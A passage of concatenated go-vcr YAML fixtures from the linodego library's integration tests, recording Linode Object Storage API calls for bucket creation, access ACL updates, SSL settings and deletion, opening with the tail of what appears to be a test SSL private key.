2zSHw\ne+ZMcR3lZ7jNPbZAPu/W07M0W/vHsCyxeRkRpET3rBetqBzWNfqeGtjRYK2+oobL\nSwn81uihCK4mf6U09ZlFKfyj1WX82nJ/BUSHVC5rkbA348SUT3dwBKp7A3UDfKP2\n4yBidLVwErShOYcBZA2sbEsfkbv0S9wL4E7CCq2KyX2YyNn63MYBqcuCYo/yZlv2\n5igV8NEVZibV4WA3svEGoboxKM5qfTCnYWvC9QeImIuYLEibGTRdlXVnYGZqoosx\nXQKCAQEAmEbm8o37QaSMWYu/hixusHWprPRpEcz8qMmpenCTUeE7xgKeJupSx/2u\ns5WSGJy7U6jlmocMOsZ3/nPWNG219uWMUWz2REKi99KOHU7dT8N0OPigNzDBJFKe\nuJpHU2wWkg9CJtkDlQt+4/JP3gzskwpooRvUaEbsQkM0G/A1SMVSyYPuzBui3+E7\nHMuBpZsWkNKLh0hjC5i7YBZYtXGYPG2JCEE4mpiV8ClxTvmijsr8sYUOtnmIBXfG\n0fcsLA4W7xYCUqr74LA1dMQd6f8T00mZycR5eh0wXJ68i5QEotBTGS8ibTilUJbx\n7aJXvW2Q3oCt1sF576QNr9rLxhHl8A==\n-----END PRIVATE KEY-----\n"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/fr-par/linode-obj-bucket-cert-test.xyz/ssl method: POST response: body: '{"ssl": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "13" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 07:13:29 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/fr-par/linode-obj-bucket-cert-test.xyz/ssl method: GET response: body: '{"ssl": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "13" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 07:13:31 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/fr-par/linode-obj-bucket-cert-test.xyz/ssl method: GET response: body: '{"ssl": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "13" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 07:13:33 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/fr-par/linode-obj-bucket-cert-test.xyz/ssl method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 07:13:34 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/fr-par/linode-obj-bucket-cert-test.xyz method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 07:13:38 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestObjectStorageBucket_Access_Get.yaml000066400000000000000000000265611474652371000342140ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/endpoints?page=1 method: GET response: body: '{"pages": 1, "page": 1, "results": 18, "data": [{"region": "us-iad", "endpoint_type": "E1", "s3_endpoint": "us-iad-1.linodeobjects.com"}, {"region": "in-maa", "endpoint_type": "E1", "s3_endpoint": "in-maa-1.linodeobjects.com"}, {"region": "us-east", "endpoint_type": "E0", "s3_endpoint": "us-east-1.linodeobjects.com"}, {"region": "eu-central", "endpoint_type": "E0", "s3_endpoint": "eu-central-1.linodeobjects.com"}, {"region": "us-mia", "endpoint_type": "E1", "s3_endpoint": "us-mia-1.linodeobjects.com"}, {"region": "br-gru", "endpoint_type": "E1", "s3_endpoint": "br-gru-1.linodeobjects.com"}, {"region": "fr-par", "endpoint_type": "E1", "s3_endpoint": "fr-par-1.linodeobjects.com"}, {"region": "nl-ams", "endpoint_type": "E1", "s3_endpoint": "nl-ams-1.linodeobjects.com"}, {"region": "se-sto", "endpoint_type": "E1", "s3_endpoint": "se-sto-1.linodeobjects.com"}, {"region": "us-sea", "endpoint_type": "E1", "s3_endpoint": "us-sea-1.linodeobjects.com"}, {"region": "jp-osa", "endpoint_type": "E1", "s3_endpoint": "jp-osa-1.linodeobjects.com"}, {"region": "ap-south", "endpoint_type": "E0", "s3_endpoint": "ap-south-1.linodeobjects.com"}, {"region": "us-ord", "endpoint_type": "E1", "s3_endpoint": "us-ord-1.linodeobjects.com"}, {"region": "id-cgk", "endpoint_type": "E1", "s3_endpoint": "id-cgk-1.linodeobjects.com"}, {"region": "us-lax", "endpoint_type": "E1", "s3_endpoint": "us-lax-1.linodeobjects.com"}, {"region": "es-mad", "endpoint_type": "E1", "s3_endpoint": "es-mad-1.linodeobjects.com"}, {"region": "it-mil", "endpoint_type": "E1", "s3_endpoint": "it-mil-1.linodeobjects.com"}, {"region": "us-southeast", "endpoint_type": "E0", "s3_endpoint": "us-southeast-1.linodeobjects.com"}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 07:40:53 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - object_storage:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-iad","label":"go-bucket-test-def","endpoint_type":"E1","acl":"authenticated-read","cors_enabled":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets method: POST response: body: '{"hostname": "go-bucket-test-def.us-iad-1.linodeobjects.com", "label": "go-bucket-test-def", "created": "2018-01-02T03:04:05", "region": "us-iad", "cluster": "us-iad-1", "size": 0, "objects": 0, "endpoint_type": "E1", "s3_endpoint": "us-iad-1.linodeobjects.com"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "262" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 07:40:55 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-iad/go-bucket-test-def/access method: GET response: body: '{"acl": "authenticated-read", "acl_xml": "c9539a32-3ece-47dd-a9a4-40bbfa5a2936c9539a32-3ece-47dd-a9a4-40bbfa5a2936http://acs.amazonaws.com/groups/global/AuthenticatedUsersREADc9539a32-3ece-47dd-a9a4-40bbfa5a2936c9539a32-3ece-47dd-a9a4-40bbfa5a2936FULL_CONTROL", "cors_enabled": false, "cors_xml": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "808" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 07:40:57 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-iad/go-bucket-test-def/access method: GET response: body: '{"acl": "authenticated-read", "acl_xml": "c9539a32-3ece-47dd-a9a4-40bbfa5a2936c9539a32-3ece-47dd-a9a4-40bbfa5a2936http://acs.amazonaws.com/groups/global/AuthenticatedUsersREADc9539a32-3ece-47dd-a9a4-40bbfa5a2936c9539a32-3ece-47dd-a9a4-40bbfa5a2936FULL_CONTROL", "cors_enabled": false, "cors_xml": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "808" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 07:40:58 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-iad-1/go-bucket-test-def method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 07:41:08 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestObjectStorageBucket_Access_Update.yaml000066400000000000000000000244601474652371000347130ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/endpoints?page=1 method: GET response: body: '{"pages": 1, "page": 1, "results": 18, "data": [{"region": "us-lax", "endpoint_type": "E1", "s3_endpoint": "us-lax-1.linodeobjects.com"}, {"region": "us-southeast", "endpoint_type": "E0", "s3_endpoint": "us-southeast-1.linodeobjects.com"}, {"region": "in-maa", "endpoint_type": "E1", "s3_endpoint": "in-maa-1.linodeobjects.com"}, {"region": "jp-osa", "endpoint_type": "E1", "s3_endpoint": "jp-osa-1.linodeobjects.com"}, {"region": "nl-ams", "endpoint_type": "E1", "s3_endpoint": "nl-ams-1.linodeobjects.com"}, {"region": "it-mil", "endpoint_type": "E1", "s3_endpoint": "it-mil-1.linodeobjects.com"}, {"region": "fr-par", "endpoint_type": "E1", "s3_endpoint": "fr-par-1.linodeobjects.com"}, {"region": "us-ord", "endpoint_type": "E1", "s3_endpoint": "us-ord-1.linodeobjects.com"}, {"region": "us-iad", "endpoint_type": "E1", "s3_endpoint": "us-iad-1.linodeobjects.com"}, {"region": "br-gru", "endpoint_type": "E1", "s3_endpoint": "br-gru-1.linodeobjects.com"}, {"region": "ap-south", "endpoint_type": "E0", "s3_endpoint": "ap-south-1.linodeobjects.com"}, {"region": "es-mad", "endpoint_type": "E1", "s3_endpoint": "es-mad-1.linodeobjects.com"}, {"region": "eu-central", "endpoint_type": "E0", "s3_endpoint": "eu-central-1.linodeobjects.com"}, {"region": "se-sto", "endpoint_type": "E1", "s3_endpoint": "se-sto-1.linodeobjects.com"}, {"region": "us-east", "endpoint_type": "E0", "s3_endpoint": "us-east-1.linodeobjects.com"}, {"region": "us-mia", "endpoint_type": "E1", "s3_endpoint": "us-mia-1.linodeobjects.com"}, {"region": "id-cgk", "endpoint_type": "E1", "s3_endpoint": "id-cgk-1.linodeobjects.com"}, {"region": "us-sea", "endpoint_type": "E1", "s3_endpoint": "us-sea-1.linodeobjects.com"}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 06:03:41 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - object_storage:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-lax","label":"go-bucket-test-def","endpoint_type":"E1"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets method: POST response: body: '{"hostname": "go-bucket-test-def.us-lax-1.linodeobjects.com", "label": "go-bucket-test-def", "created": "2018-01-02T03:04:05", "region": "us-lax", "cluster": "us-lax-1", "size": 0, "objects": 0, "endpoint_type": "E1", "s3_endpoint": "us-lax-1.linodeobjects.com"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "262" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 06:03:42 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"acl":"private","cors_enabled":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-lax/go-bucket-test-def/access method: POST response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 06:03:43 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-lax/go-bucket-test-def/access method: GET response: body: '{"acl": "private", "acl_xml": "c9539a32-3ece-47dd-a9a4-40bbfa5a2936c9539a32-3ece-47dd-a9a4-40bbfa5a2936c9539a32-3ece-47dd-a9a4-40bbfa5a2936c9539a32-3ece-47dd-a9a4-40bbfa5a2936FULL_CONTROL", "cors_enabled": false, "cors_xml": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "591" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 06:03:45 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-lax-1/go-bucket-test-def method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 06:03:48 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestObjectStorageBucket_Create.yaml000066400000000000000000000065351474652371000334750ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"region":"us-east","label":"go-bucket-test-def"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets method: POST response: body: '{"hostname": "go-bucket-test-def.us-east-1.linodeobjects.com", "label": "go-bucket-test-def", "created": "2018-01-02T03:04:05", "region": "us-east", "cluster": "us-east-1", "size": 0, "objects": 0, "endpoint_type": "E0", "s3_endpoint": "us-east-1.linodeobjects.com"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "266" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 06:02:49 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-east-1/go-bucket-test-def method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 06:02:53 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestObjectStorageBucket_GetFound.yaml000066400000000000000000000122361474652371000340000ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"region":"us-east","label":"go-bucket-test-def"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets method: POST response: body: '{"hostname": "go-bucket-test-def.us-east-1.linodeobjects.com", "label": "go-bucket-test-def", "created": "2018-01-02T03:04:05", "region": "us-east", "cluster": "us-east-1", "size": 0, "objects": 0, "endpoint_type": "E0", "s3_endpoint": "us-east-1.linodeobjects.com"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "266" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 06:03:13 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-east-1/go-bucket-test-def method: GET response: body: '{"hostname": "go-bucket-test-def.us-east-1.linodeobjects.com", "label": "go-bucket-test-def", "created": "2018-01-02T03:04:05", "region": "us-east", "cluster": "us-east-1", "size": 0, "objects": 0, "endpoint_type": "E0", "s3_endpoint": "us-east-1.linodeobjects.com"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "266" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 06:03:14 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - 